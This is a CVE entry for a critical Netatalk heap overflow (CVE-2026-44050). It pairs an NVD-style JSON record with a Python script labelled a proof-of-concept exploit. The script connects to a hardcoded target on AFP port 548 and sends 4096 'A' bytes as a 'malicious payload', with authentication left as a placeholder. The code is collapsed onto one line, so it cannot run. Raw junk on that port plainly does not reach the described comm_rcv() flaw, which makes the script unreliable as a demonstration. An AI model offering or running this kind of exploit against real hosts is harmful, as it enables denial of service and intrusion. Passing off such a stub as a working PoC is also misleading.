CVE-2026-44050

import socket # Target configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 548 # Default AFP port # Proof of Concept payload to trigger heap overflow in comm_rcv() # Note: This requires valid authentication credentials (PR:L) def send_exploit(): try: # 1. Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print("[+] Connected to target") # 2. Authenticate (Abstracted) # In a real scenario, valid AFP login sequence occurs here. # ... authentication logic ... # 3. Craft malicious packet # Payload size designed to exceed the buffer limit in comm_rcv() buffer_size = 4096 junk = b"A" * buffer_size # 4. Send payload print("[+] Sending malicious payload...") s.send(junk) print("[+] Payload sent. Check service status.") s.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-44050", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:20.580", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow in the CNID daemon comm_rcv() function in Netatalk 2.0.0 through 4.4.2 allows a remote authenticated attacker to execute arbitrary code with escalated privileges or cause a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44050", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}